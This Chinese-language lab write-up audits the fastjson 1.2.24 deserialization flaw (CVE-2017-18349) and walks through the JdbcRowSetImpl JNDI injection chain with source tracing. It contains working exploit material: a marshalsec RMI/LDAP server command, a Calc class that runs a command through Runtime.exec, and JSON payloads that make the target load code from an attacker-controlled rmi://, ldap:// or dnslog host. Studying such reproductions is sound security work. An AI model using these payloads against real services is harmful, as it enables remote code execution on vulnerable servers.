fastjson-1.2.24-反序列化漏洞代码审计(CVE-2017-18349)

1.关于fastjson反序列化的特性(版本号:1.2.24)()

1.1.fastjson结构框架图

img

1.2.fastjson的一些功能特性的研究

1.2.1.fastjson总共三种反序列化的方式

1
2
3
4
JSON.parse(s1);
JSON.parseObject(s1);
JSON.parseObject(s1,Object.class);
//s1:{age":34,"hobby":"sports","name":"username"}

​ 三种方式都拥有不同的特性,下面通过一个实例来具体探究以下底层代码到底是如何实现的。

​ 1.首先新建一个user类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class user {
private String name;
private int age;
private String hobby;

public user() {
}

public user(String name, int age, String hobby) {
this.name = name;
this.age = age;
this.hobby = hobby;
}

public String getName() {
System.out.println("调用了getName");
return name;
}

public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getHobby() {
return hobby;
}

public void setHobby(String hobby) {
this.hobby = hobby;
}

@Override
public String toString() {
return "user{" +
"name='" + name + '\'' +
", age=" + age +
", hobby='" + hobby + '\'' +
'}';
}
}
  1. 导入fastjson1.2.24依赖
1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

​ 3.创建测试主类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class fastjsontest {
public static void main(String[] args) {
user user = new user("username",34,"sports");

String s1 = JSON.toJSONString(user);
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println("s1:"+s1);
System.out.println("s2:"+s2);
System.out.println("---------------------JSON.parse(s1)--------------------------------");
Object parse = JSON.parse(s1);
System.out.println(parse);
System.out.println(parse.getClass().getName());
System.out.println("---------------------JSON.parseObject(s1)----------------------------");
Object parse1 = JSON.parseObject(s1);
System.out.println(parse1);
System.out.println(parse1.getClass().getName());
System.out.println("--------------------JSON.parseObject(s1,Object.class)----------------------");
Object parse2 = JSON.parseObject(s1,Object.class);
System.out.println(parse2);
System.out.println(parse2.getClass().getName());

}
}

​ 4.调试运行

image-20230818111218657

从运行结果在通过s1不指定@type参数时,我们可以得知,三种反序列化方式,最后得到的类均为JSONObject默认类型。

且我们通过调试源代码发现,parseObject方法其实就是对parse方法做的一个封装,让其可通过传入clazz参数来指定反序列化结果的类型,第一步步入如下图。

image-20230818111716407

因此我们只需要研究其中一个方法的调用链即可,其后的调用链均是一致的。

以上为不指定@type类型的运行结果,这次我们使用s2参数,通过指定@type参数来控制反序列化结果的类型。

1
2
3
4
JSON.parse(s2);
JSON.parseObject(s2);
JSON.parseObject(s2,Object.class);
//s2:{"@type":"user","age":34,"hobby":"sports","name":"username"}

此时的运行结果如图

image-20230818112549725

​ 从运行结果可知,

1
2
3
4
5
	JSON.parse(s2); //执行了setter

​ JSON.parseObject(s2);//执行了setter+getter

​ JSON.parseObject(s2,Object.class);//执行了setter

​ 通过调试源代码发现,在parse中,执行了setter方法,在parseObject方法中封装了parse方法,因此在此部分执行了setter方法,而在(JSONObject)toJSON(obj)部分,也就是如果obj并不是JSONObject的实例,这通过toJSON将obj强制转化为JSONObject,在次部分执行了get方法,

image-20230818145322173

而在parseObject(s2,Object.class)带有clazz参数的方法中,的调用链和前两个方法不一致,因此只调用了setter方法。

image-20230818150418970

1.2.2.fastjson如何找到getter/setter方法,有哪些限制?

具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build()

getter方法:

  1. 非静态方法

  2. 返回值为空

  3. 不能有参数传入

  4. 返回类型不能会ClassLoader

  5. 不能调用getMetaClass、getClass、getDeclaringClass方法

  6. get开头并且不能小于4个字符,且第四个字母大写

  7. 继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong

  8. 此属性没有setter方法。

    Setter方法:

  9. 以set开头名字不能小于4个字符,且第四个字母大写

  10. 非静态方法

  11. 返回值为void或者当前class类型为0

  12. 参数个数为1

1.2.3.fastjson反序列化漏洞利用原理

​ 从以上分析中,可以得出,fastjson反序列漏洞的最根本的原理:

  1. 通过post传参将json格式的poc传入后端,后端获取到json格式的数据,通过parse、parseObject方法,对json内容进行反序列化操作。
  2. 而由于fastjson未对传入的@type的类名,进行严格校验,导致将恶意类加载,并实例化该恶意类。
  3. 这会导致远程的代码,执行修改系统文件等。

2.利用链一:com.sun.rowset.JdbcRowSetImpl复现(jndi注入)(版本号:1.2.24)

2.1.RMI注入复现

2.1.1.本地靶机(192.168.100.1:8088)启动一个解析json数据的服务接口。

1
2
3
4
5
6
7
8
9
@PostMapping("/json")
@ResponseBody
public JSONObject parse(@RequestBody String data) {
JSONObject jsonObject = new JSONObject();
jsonObject.put("status", 0);
System.out.println(data);
JSON.parse(data);
return jsonObject;
}

2.1.2.远程攻击机(192.168.100.128)启动一个rmi服务器并指向执行一个可访问执行命令的类对象接口

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.100.128:8088/#Calc" 8888

image-20230818162605136

2.1.3.命令执行类对象

1
2
3
4
5
6
7
8
9
10
11
12
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}

将该代码编译为class文件通过http服务公开

2.1.4.通过python服务将该命令执行类公开在http://192.168.100.128:8088。

image-20230818163328566

2.1.5.构造exp并发送post请求json服务接口

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",//指定反序列化类
"dataSourceName":"rmi://192.168.100.128:8888/Calc",//指定rmi服务器
"autoCommit":true //设置autoCommit属性值、使其执行setAutoCommit方法
}

image-20230818163932149

2.1.6.发送exp,复现成功

image-20230818164218839

后台记录

image-20230818164515410

rmi服务器记录

image-20230818164614469

公开类http服务器记录

image-20230818164704354

2.2.LDAP注入复现

2.2.1.启动ldap服务器

image-20230818165050702

2.2.2.构造exp并发送

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.100.128:8888/Calc",
"autoCommit":true
}

image-20230818165754021

其余步骤都相同。将rmi服务器转为ldap服务器,命令同样执行成功。

注:当前复现版本为jdk1.8_112

JDK6 JDK7 JDK8 JDK11
RMI不可用 6u132 7u122 8u113
LDAP不可用 6u221 7u201 8u119 11.0.1

高于等于当前版本均不可进行jndI注入

2.3.源码分析污点跟踪

进入 JdbcRowSetImpl 类跟踪其源码

通过之前对fastjson的分析,在exp中通过指定autoCommit属性的值来让其加载setAutoCommit方法、因此直接从setAutoCommit方法开始跟踪、conn参数默认为空、执行this.connect()。

image-20230818171736635

进入connect()方法。conn值为空,而this.getDataSourceName()的值不为空、因为我们设置了DataSourceName的属性值。

image-20230818171942560

lookup方法()参数值设置为我们exp中DataSourceName的属性值,lookup函数去连接我们远程的rmi/ldap服务以此达成远程命令执行的目的、再往后就没必要跟了。

image-20230818172140986

值得一提的是在构造payload中autoCommit的值,无论是true还是false其实并不影响命令执行的结果、因为设置autoCommit的值本质是为了让fastjson去调用setAutoCommit方法,而加载lookup函数实现jndi注入。因此无论是autoCommit值为啥,哪怕为亚马逊购物袋也并不影响。

2.5.fastjson,jndi反序列漏洞测试的简便方法

​ 由于我们测试服务器时需要启动rmi/ldap服务、还需要启动一个http服务来公开类、测试jndi过于麻烦,因此我们可以通过dns协议来检测其连接。

​ 这样我们既避免了暴露自己的服务器地址、又可以测试是否存在该漏洞。

​ 我们可以创建一个dnslog链接,来判断其是否会连接外部服务器。

image-20230818173640308

​ 创建一个dnslog地址。

​ 构建poc payload

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"dns://lhkty9.dnslog.cn",
"autoCommit":true
}

image-20230818173907063

​ 发送payload后,发现dnslog发现连接地址,因此存在jndi注入。

​ 这种方法可以在不启动自己服务器的情况下简单验证是否存在fastjson的反序列化jndi注入漏洞。